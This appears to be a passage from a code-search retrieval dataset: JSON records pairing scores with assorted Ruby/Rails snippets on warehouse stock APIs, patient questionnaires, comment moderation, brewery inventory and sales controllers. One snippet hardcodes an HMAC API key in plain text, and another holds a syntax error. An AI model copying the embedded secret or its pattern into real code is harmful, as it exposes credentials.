HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n necesario = cantidad\n restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n restante -= k\n end\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n end\n\n end",
"title": ""
},
{
"docid": "8656e3d550440c59178ab5a5bfd001f4",
"score": "0.5205629",
"text": "def consultarOcsFTP\n\tordenesCompraFtpPorRecepcionar =Array.new\n\tidsOcsEnFtp = consultarPedidos\n\tif idsOcsEnFtp.count>=1\n\t\tidsOcsEnFtp.each do |id|\n\t\t\tocCreada = actualizarOc(id)\n\t\t\tif ocCreada!=false\n\t\t\t\tordenesCompraFtpPorRecepcionar.append(ocCreada)\n\t\t\tend\n\t\tend\n\tend\n\n\t#Cada OC nueva se procesa\n\tseAceptaPorLoMenos1 = false\n\tordenesCompraFtpPorRecepcionar.each do |ordenCompra|\n\t\tif procesarOc(ordenCompra)\n\t\t\tseAceptaPorLoMenos1 = true\n\t\tend\n\tend\n\n\t#Si se acepto una OC, entonces se verifica stock y manda a producir\n\tif(seAceptaPorLoMenos1)\n\t\tProducirMateriasPrimas.new.producirStockBajo\n\tend\n\n\treturn ordenesCompraFtpPorRecepcionar\nend",
"title": ""
},
{
"docid": "367f3b227a7b848cc2454b82e59a28b8",
"score": "0.5202066",
"text": "def realizar_cuestionario_demora\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario por Demora\"\n end",
"title": ""
},
{
"docid": "2ce2fc5d248a1277d8472cfbb0c17e73",
"score": "0.5201112",
"text": "def retourAvant()#TOTEST\n if(@indiceCoup < tabCoup.size) #vérification normalement inutile puisque le bouton devrait être disable\n #On annule en passant au coup suivant\n coupSuivant = tabCoup.at(@indiceCoup)\n @grilleEnCours.tabCases[coupSuivant.case.positionY][coupSuivant.case.positionX].couleur = coupSuivant.couleur\n @grilleRaz = nil\n\n @indiceCoup += 1 #On passe au coup suivant\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n end\n\n return [peutRetourAvant?, coupSuivant.case] #Pour dire aux fonctions appelantes si on peut encore aller en avant\n end",
"title": ""
},
{
"docid": "dca6e9f31023b416ef34d22ad741d967",
"score": "0.5200951",
"text": "def index\n @operadores = Operadore.all\n end",
"title": ""
},
{
"docid": "bf93e7e68fe54a23753f75ed04d7284c",
"score": "0.51884085",
"text": "def partido\n localidad.partido\n end",
"title": ""
},
{
"docid": "c5172081ce4a5de5992109e153fed054",
"score": "0.517943",
"text": "def realizar_cuestionario\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario Tipo Frustraciones\"\n end",
"title": ""
},
{
"docid": "59a97c6e4f08e95789775ad70291da56",
"score": "0.51659733",
"text": "def estante\n tipo = params[:tipo]\n\n if tipo == 'add'\n current_user.adicoes_estante << @livro\n redirect_to request.referrer, notice: \"#{@livro.nome} foi adicionado à sua estante!\"\n elsif tipo == 'del'\n current_user.adicoes_estante.delete(@livro)\n redirect_to request.referrer, notice: \"#{@livro.nome} foi removido da sua estante.\"\n else\n # nenhum tipo. nada deve acontecer.\n redirect_to livro_path(@book), alert: \"Oops! Algo deu errado. Tente novamente.\"\n end\n end",
"title": ""
},
{
"docid": "a3b11a6a92cc1a99c4d7d8391b1cd9eb",
"score": "0.51653486",
"text": "def avanzar_unidad_apoyo_consultoria(usuario,unidad)\n unless self.Estatus.const_id == 'ST0004'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n else\n if unidad == 1\n validacion = SolicitudRecaudo.validar_consultoria(self.id)\n unless validacion\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_debe_ser_copletado'))\n return\n end\n self.consultoria = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_legal_solicitud')\n elsif unidad == 2\n validacion = SolicitudAvaluo.validar_avaluo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.avaluo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_inspeccion_avaluos')\n elsif unidad == 3\n validacion = SolicitudResguardo.validar_resguardo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.resguardo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_resguardo_institucional')\n end\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.t('Sistema.Body.General.avanzar'), self.estatus_id, mensaje)\n if self.resguardo == true && self.avaluo == true && self.consultoria == true\n estatus_origen_id = self.estatus_id\n configuracion_avance = ConfiguracionAvance.find_by_estatus_origen_id(self.estatus_id)\n self.estatus_id = configuracion_avance.estatus_destino_id\n self.fecha_actual_estatus = Time.now.strftime(\"%Y/%m/%d\")\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.('Sistema.Body.General.avanzar'), estatus_origen_id, '')\n end\n end\n end",
"title": ""
},
{
"docid": "0c7e7a747e04609b07d5436aff55a31b",
"score": "0.5161817",
"text": "def set_utente\n @utente = Utente.find(params[:id])\n end",
"title": ""
},
{
"docid": "5a851d3af42be5a759e4d10a8018eb66",
"score": "0.51578116",
"text": "def seleciona_novo_imigrante\n if (has_novo_imigrante_btn?(wait: 3))\n puts \"Selecionando novo imigrante\"\n novo_imigrante_btn.click\n selecionar_rnm(\"Não\")\n puts \"Clicando Proximo\"\n proximo_btn.click\n aguardar_carregamento_load\n end\n end",
"title": ""
},
{
"docid": "834dca0525b1eecf9f396138d3ed664f",
"score": "0.5156426",
"text": "def action(caseCourante)\n\n # Recuperation du type d'instance de case\n type = @partie.plateau.recupererTypeCase(caseCourante)\n case type\n when 'caseTerritoire'\n # Génération des opérations sur un territoire\n listeId = @partie.genererIdOperationsProposees(caseCourante.territoire.joueurPossesseur.ideologie)\n\n # Transmission des identifiants d'opération possibles et attente d'un choix\n idAction = @com.ask('operations', listeId, 'operation', 30).to_i\n\n\n appliedAction = ((idAction.integer?) && listeId.include?(idAction)) ? idAction : listeId[0]\n # Repercussion du choix (l'action proposée sera la première si la réponse n'est pas correcte)\n @partie.appliquerOperationTerritoire(\n Operation.new(\n appliedAction,\n caseCourante.territoire.joueurPossesseur.ideologie.numero\n ),\n caseCourante.territoire\n )\n @salon.broadcast(\"appliedOperation\", appliedAction.to_s)\n\n when 'caseEvenement'\n # On réclame une opération sur événement\n operation = caseCourante.selectionnerOperation()\n\n # On transmet l'opération à Partie pour son application aux joueurs concernés\n @partie.appliquerOperationEvenement(operation)\n\n # Send the id of the event to each client\n @salon.broadcast('evenement', operation.idEvenement.to_s)\n\n when 'caseDepart' # Muet\n\n else\n $LOGGER.error 'GestionJoueur::action: unknown case.'\n end\n end",
"title": ""
},
{
"docid": "d216893a847f17055d8c86ff3a845309",
"score": "0.51546496",
"text": "def puertos_utiles\n puertos.select do |puerto|\n puerto.conectado_fisicamente?\n end\n end",
"title": ""
},
{
"docid": "cc4feb16d762b2b6532aa81dfcec16d0",
"score": "0.51537573",
"text": "def ano_eleicao\n puts \"esta eleição esta acontecendo no ano de #{@ano}\"\n \n end",
"title": ""
},
{
"docid": "1b32dbfb5c4033670c1e7a8aed770154",
"score": "0.51533985",
"text": "def mi_carrera\n\n\tend",
"title": ""
},
{
"docid": "57be95d9d6d166fc9ba6eb6218ba75ea",
"score": "0.5152707",
"text": "def remitente\n user = User.find(self.envia_id) if self.envia_id\n remitente ||= user.persona.nombre_completo if user && user.persona.nombre_completo\n return remitente\n end",
"title": ""
},
{
"docid": "51675bfa906269fba7755677fbdb90cd",
"score": "0.5152649",
"text": "def medir_indicador_otro_tipo_33(mind, fini, ffin)\n datosint = []\n base = ::Productopf.\n where( 'proyectofinanciero_id IN (SELECT id ' +\n 'FROM cor1440_gen_proyectofinanciero ' +\n 'WHERE respgp_id IS NOT NULL ' +\n 'AND estado IN (?))', \n ::ApplicationHelper::ESTADOS_APROBADO).\n where('fechaplaneada>=?', fini).\n where('fechaplaneada<=?', ffin).\n where('fechareal<=(fechaplaneada + 7)')\n d1 = base.count\n idp1 = base.pluck(:proyectofinanciero_id)\n rutaev1 = d1 == 0 ? '#' :\n cor1440_gen.proyectosfinancieros_url + '?filtro[busid]=' + \n idp1.uniq.join(',')\n datosint << { valor: d1, rutaevidencia: rutaev1 }\n\n base3 = ::Productopf.\n where( 'proyectofinanciero_id IN (SELECT id ' +\n 'FROM cor1440_gen_proyectofinanciero ' +\n 'WHERE respgp_id IS NOT NULL '+\n 'AND estado IN (?))', \n ::ApplicationHelper::ESTADOS_APROBADO).\n where('fechaplaneada>=?', fini).\n where('fechaplaneada<=?', ffin)\n d2 = base3.count\n idp2 = base3.pluck(:proyectofinanciero_id)\n rutaev2 = d2 == 0 ? '#' :\n cor1440_gen.proyectosfinancieros_url + '?filtro[busid]=' + \n idp2.uniq.join(',')\n datosint << { valor: d2, rutaevidencia: rutaev2 }\n\n resind = d2.to_f > 0 ? 100*d1.to_f/d2.to_f : nil\n return {resind: resind, datosint: datosint, rutaevidencia: rutaev1}\n end",
"title": ""
},
{
"docid": "cb36a6014613e3a9111268384703f00b",
"score": "0.51477736",
"text": "def ind_estud\n #@periodos = Periodo.find(:all)\n end",
"title": ""
},
{
"docid": "2856f2c201076f65051094b7d113c9fb",
"score": "0.51365864",
"text": "def extraer_lista_final\n ref = @final\n @final = ref.anterior\n if @final != nil\n @final.siguiente = nil\n else\n @principio = @final\n end\n ref\n end",
"title": ""
},
{
"docid": "9e94741628a56b54d1ba92e2fe0be187",
"score": "0.5135075",
"text": "def set_osusume\n @osusume = Osusume.find(params[:id])\n end",
"title": ""
},
{
"docid": "39f2e40e10268d8e5dda60e9143e0aaf",
"score": "0.51337796",
"text": "def vaciar\n vaciar_pulmon\n vaciar_recepcion\n end",
"title": ""
},
{
"docid": "8e2de9c89aaeb8be85b21adf49cf9978",
"score": "0.51335704",
"text": "def sigla; @nome; end",
"title": ""
},
{
"docid": "01f9406d5df0b16feb2490a7e8f7dd7b",
"score": "0.51320463",
"text": "def admin\n @pagina = params[:pagina].present? ? params[:pagina].to_i : 1\n @por_pagina = params[:por_pagina].present? ? params[:por_pagina].to_i : Comentario::POR_PAGINA_PREDETERMINADO\n offset = (@pagina-1)*@por_pagina\n\n tax_especifica = current_usuario.usuario_especies\n contenido_especifico = current_usuario.categorias_contenidos\n\n consulta = Comentario.datos_basicos\n\n if params[:comentario].present?\n params = comentario_params\n\n if params[:categorias_contenido_id].present?\n consulta = consulta.where(categorias_contenido_id: params[:categorias_contenido_id].to_i)\n end\n\n if params[:estatus].present?\n consulta = consulta.where('comentarios.estatus = ?', params[:estatus].to_i)\n else\n consulta = consulta.where('comentarios.estatus < ?', Comentario::OCULTAR)\n end\n if tax_especifica.length > 0\n or_taxa = []\n tax_especifica.each do |e|\n or_taxa << \" #{Especie.attribute_alias(:id)} = #{e.especie_id}\"\n or_taxa << \" #{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%#{e.especie_id}%' \"\n end\n consulta = consulta.where(or_taxa.join(' OR '))\n end\n\n if contenido_especifico.length > 0\n consulta = consulta.where(:categorias_contenido_id => contenido_especifico.map(&:subtree_ids).flatten)\n end\n\n # Comentarios totales\n @totales = consulta.count(:all)\n\n # Para ordenar por created_at, nombre_cientifico o ambos\n if params[:created_at].present? && params[:nombre_cientifico].present?\n consulta = consulta.order(\"#{Especie.attribute_alias(:nombre_cientifico)} #{params[:nombre_cientifico]}, comentarios.created_at #{params[:created_at]}\")\n elsif params[:created_at].present?\n consulta = consulta.order(\"comentarios.created_at #{params[:created_at]}\")\n elsif params[:nombre_cientifico].present?\n consulta = consulta.order(\"#{Especie.attribute_alias(:nombre_cientifico)} #{params[:nombre_cientifico]}\")\n else\n consulta = consulta.order('comentarios.created_at DESC')\n end\n\n @comentarios = consulta.offset(offset).limit(@por_pagina)\n\n else\n # estatus = 5 quiere decir oculto a la vista\n consulta = consulta.where('comentarios.estatus < ?', Comentario::OCULTAR)\n if tax_especifica.length > 0\n or_taxa = []\n tax_especifica.each do |e|\n or_taxa << \" #{Especie.attribute_alias(:id)} = #{e.especie_id}\"\n or_taxa << \" #{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%#{e.especie_id}%' \"\n end\n consulta = consulta.where(or_taxa.join(' OR '))\n end\n if contenido_especifico.length > 0\n consulta = consulta.where(:categorias_contenido_id => contenido_especifico.map(&:subtree_ids).flatten)\n end\n # Comentarios totales\n @totales = consulta.count(:all)\n @comentarios = consulta.order('comentarios.created_at DESC').offset(offset).limit(@por_pagina)\n end\n\n @comentarios.each do |c|\n c.cuantos = c.descendants.count\n c.completa_info(c.root.usuario_id)\n end\n\n @categorias_contenido = CategoriasContenido.grouped_options\n\n response.headers['x-total-entries'] = @totales.to_s\n\n if (@pagina > 1 && @comentarios.any?) || (params.present? && params[:ajax].present? && params[:ajax] == '1')\n # Tiene resultados el scrollling o peticiones de ajax\n render :partial => 'comentarios/admin'\n elsif @pagina > 1 && @comentarios.empty? # Fin del scrolling\n render text: ''\n end\n\n end",
"title": ""
},
{
"docid": "07e10c8af486643c9dcb91c6dc4e5128",
"score": "0.5130663",
"text": "def es_propietario\n set_entrega\n if @entrega.recolector != current_user\n render json: {entrega: [\"No permitido para este usuario\"]}, status:401\n end\n end",
"title": ""
},
{
"docid": "df3b628ca0d44ce94553aebf27dc743a",
"score": "0.51279366",
"text": "def traer_insumo(nombreInsumo, cantidad)\n\t case nombreInsumo\n\t\t when \"cebada\" then \n\t\t\t if (@cebada >= cantidad)\n\t\t\t\t @cebada -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @cebada\n\t\t\t\t @cebada = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"arroz_maiz\" then\n\t\t\t if (@arroz_maiz >= cantidad)\n\t\t\t\t @arroz_maiz -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @arroz_maiz\n\t\t\t\t @arroz_maiz = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"levadura\" then\n\t\t\t if (@levadura >= cantidad)\n\t\t\t\t @levadura -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @levadura\n\t\t\t\t @levadura = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"lupulo\" then\n\t\t\t if (@lupulo >= cantidad)\n\t\t\t\t @lupulo -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @lupulo\n\t\t\t\t @lupulo = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_silos_cebada\" then\n\t\t\t if (@producto_silos_cebada >= cantidad)\n\t\t\t\t @producto_silos_cebada -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_silos_cebada\n\t\t\t\t @producto_silos_cebada = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_molino\" then\n\t\t\t if (@producto_molino >= cantidad)\n\t\t\t\t @producto_molino -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_molino\n\t\t\t\t @producto_molino = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_paila_mezcla\" then\n\t\t\t if (@producto_paila_mezcla >= cantidad)\n\t\t\t\t @producto_paila_mezcla -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_paila_mezcla\n\t\t\t\t @producto_paila_mezcla = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_cuba_filtracion\" then\n\t\t\t if (@producto_cuba_filtracion >= cantidad)\n\t\t\t\t @producto_cuba_filtracion -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_cuba_filtracion\n\t\t\t\t @producto_cuba_filtracion = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_paila_coccion\" then\n\t\t\t if (@producto_paila_coccion >= cantidad)\n\t\t\t\t @producto_paila_coccion -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_paila_coccion\n\t\t\t\t @producto_paila_coccion = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tanque_preclarificador\" then\n\t\t\t if (@producto_tanque_preclarificador >= cantidad)\n\t\t\t\t @producto_tanque_preclarificador -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tanque_preclarificador\n\t\t\t\t @producto_tanque_preclarificador = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_enfriador\" then\n\t\t\t if (@producto_enfriador >= cantidad)\n\t\t\t\t @producto_enfriador -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_enfriador\n\t\t\t\t @producto_enfriador = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tcc\" then\n\t\t\t if (@producto_tcc >= cantidad)\n\t\t\t\t @producto_tcc -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tcc\n\t\t\t\t @producto_tcc = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_filtro_cerveza\" then\n\t\t\t if (@producto_filtro_cerveza >= cantidad)\n\t\t\t\t @producto_filtro_cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_filtro_cerveza\n\t\t\t\t @producto_filtro_cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"producto_tanque_cerveza\" then\n\t\t\t if (@producto_tanque_cerveza >= cantidad)\n\t\t\t\t @producto_tanque_cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @producto_tanque_cerveza\n\t\t\t\t @producto_tanque_cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t\t when \"cerveza\" then\n\t\t\t if (@cerveza >= cantidad)\n\t\t\t\t @cerveza -= cantidad\n\t\t\t\t resultado = cantidad\n\t\t\t else\n\t\t\t\t resultado = @cerveza\n\t\t\t\t @cerveza = 0\n\t\t\t end\n\t\t\t return resultado\n\t end\n\tend",
"title": ""
},
{
"docid": "e61d2ed5f0e38115e24de54f0ee91a5f",
"score": "0.51268905",
"text": "def valor_pendente\n\t\tself.valor_total(0)\n\tend",
"title": ""
},
{
"docid": "5e3874f4671bb92f42254f775025e71e",
"score": "0.51259494",
"text": "def show\n @ficha = (params[:ficha].present? && params[:ficha] == '1')\n\n cuantos = @comentario.descendants.count\n categoriaContenido = @comentario.categorias_contenido_id\n\n if cuantos > 0\n resp = @comentario.descendants.map{ |c|\n c.completa_info(@comentario.usuario_id)\n c\n }\n\n @comentarios = {estatus:1, cuantos: cuantos, resp: resp}\n\n else\n @comentarios = {estatus:1, cuantos: cuantos}\n end\n\n # Para saber el id del ultimo comentario, antes de sobreescribir a @comentario\n ultimo_comentario = @comentario.subtree.order('ancestry ASC').map(&:id).reverse.first\n\n # Especie\n especie_id = @comentario.especie_id\n\n # Crea el nuevo comentario con las clases de la gema ancestry\n @comentario = Comentario.children_of(ultimo_comentario).new\n\n # El ID del administrador\n @comentario.usuario_id = current_usuario.id unless @ficha\n\n # Estatus 6 quiere decir que es parte del historial de un comentario\n @comentario.estatus = Comentario::RESPUESTA\n\n # Categoria comentario ID\n @comentario.categorias_contenido_id = categoriaContenido\n\n # Para no poner la caseta de verificacion\n @comentario.con_verificacion = false\n\n # Proviene de un administrador\n @comentario.es_admin = true\n\n # Asigna la especie\n @comentario.especie_id = especie_id\n end",
"title": ""
},
{
"docid": "434ba506b387570114cf93be3afb836d",
"score": "0.51201946",
"text": "def show \r\n checar_egresso_empresa_super_show_empresa \r\n @oportunidade = Oportunidade.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "2ed7ccfb489cb3ff1023d71b61840500",
"score": "0.5119636",
"text": "def assegure_uma_permanencia_de_admin\n if Usuario.count.zero?\n raise Error.new \"Não é permitido deletar o último usuário\"\n end\n end",
"title": ""
},
{
"docid": "582cd2c4fcfe6c11ddb8fc122b1e1bc6",
"score": "0.5118664",
"text": "def set_tecnica_de_impresion\n @tecnica_de_impresion = TecnicaDeImpresion.find(params[:id])\n end",
"title": ""
},
{
"docid": "11329a79732652d6681c2caf2f8f4a57",
"score": "0.510889",
"text": "def preencher\n cliente.set CONFIG['cliente']\n seleciona_Cliente.set CONFIG['idcliente']\n tipo_de_operacao.set CONFIG['tipooperacao'] \n cond_pagamento.set CONFIG['condpagamento']\n topico.set CONFIG['topico']\n tipo_venda.set CONFIG['tipovenda'] \n condicoes_de_frete.set CONFIG['condiFrete'] \n apelido.set CONFIG['apelido'] \n botaopesquisar.click\n\n end",
"title": ""
},
{
"docid": "45f24160bd5711fb2db751e604238046",
"score": "0.5107421",
"text": "def mostrar_opciones_tutoria\n acciones = ['Peticiones pendientes de aceptar', 'Cola alumnos', 'Borrar tutoría', 'Volver']\n menu = MenuInlineTelegram.crear(acciones)\n texto = \"Tutoría elegida #{@tutoria.fecha}. Elija que desea hacer:\"\n @@bot.api.edit_message_text(chat_id: @ultimo_mensaje.id_chat, message_id: @ultimo_mensaje.id_mensaje, text: texto, reply_markup: menu, parse_mode: 'Markdown')\n end",
"title": ""
},
{
"docid": "aab44b24d8dc977c8dab9c6a35af085f",
"score": "0.51022226",
"text": "def relatorios\n end",
"title": ""
},
{
"docid": "54fc9c0eab1e3b34caca713f2f7ccbff",
"score": "0.5098536",
"text": "def auto_recibir\n g = Guia.find(params[:id])\n carpeta = 188\n buzones = g.copias.collect{|c| c.buzon_id}.uniq\n carpetas = g.copias.collect{|c| c.carpeta_id}.compact\n if buzones === [95] and carpetas.length == 0\n #FIXME falta filtrar solo los docs = oficio\n Guia.find(2863).copias.each{|c| c.recibir_auto(current_user) unless c.estado_id == 5; c.archivar_auto(current_user,carpeta); c.save}\n end\n end",
"title": ""
},
{
"docid": "062ccafb11ed99bf97193613f414ec91",
"score": "0.50984955",
"text": "def despachar\n self.estado_id = 2 # en ruta\n self.buzon_id = self.destinatario_id\n self.add_traza(current_user.id ,1, current_user.puesto.buzon_id)\n self.recepcion = Time.now\n self.save!\n end",
"title": ""
},
{
"docid": "eb0a1103ebfb6f5797230b838217af33",
"score": "0.5098194",
"text": "def set_controles\n @controles= Control.where(area_id: @consulta.ficha_nutricional_adulto.area_id, paciente_id: @consulta.ficha_nutricional_adulto.paciente_id).limit(9).order(id: :desc)\n end",
"title": ""
},
{
"docid": "5437dc0aa610a2441f901eae4f257bf6",
"score": "0.50975716",
"text": "def agc_2(operador)\n @pOper << operador\nend",
"title": ""
}
] |
d84db93b3d7bce13b63531a3cc6fe83d
|
PATCH/PUT /salesmen/1 PATCH/PUT /salesmen/1.json
|
[
{
"docid": "711151ad95297ba69dab8bd924136250",
"score": "0.61507565",
"text": "def update\n respond_to do |format|\n if @salesman.update(salesman_params)\n format.html { redirect_to @salesman, notice: 'Salesman was successfully updated.' }\n format.json { render :show, status: :ok, location: @salesman }\n else\n format.html { render :edit }\n format.json { render json: @salesman.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "fa4427ddda3b04af8bd370b464c396a1",
"score": "0.719331",
"text": "def update\n\n respond_to do |format|\n if @sale.update_attributes(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5be779ea905c8d53dfd005fd597be2d1",
"score": "0.71393",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, :notice => 'Sale was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fa7e730c50c81019b8e3448122a123b",
"score": "0.7136962",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fa7e730c50c81019b8e3448122a123b",
"score": "0.7136962",
"text": "def update\n respond_to do |format|\n if @sale.update(sale_params)\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d623ab47c14944e3b111e02593ea469",
"score": "0.7132373",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d623ab47c14944e3b111e02593ea469",
"score": "0.7132373",
"text": "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n format.html { redirect_to @sale, notice: 'Sale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
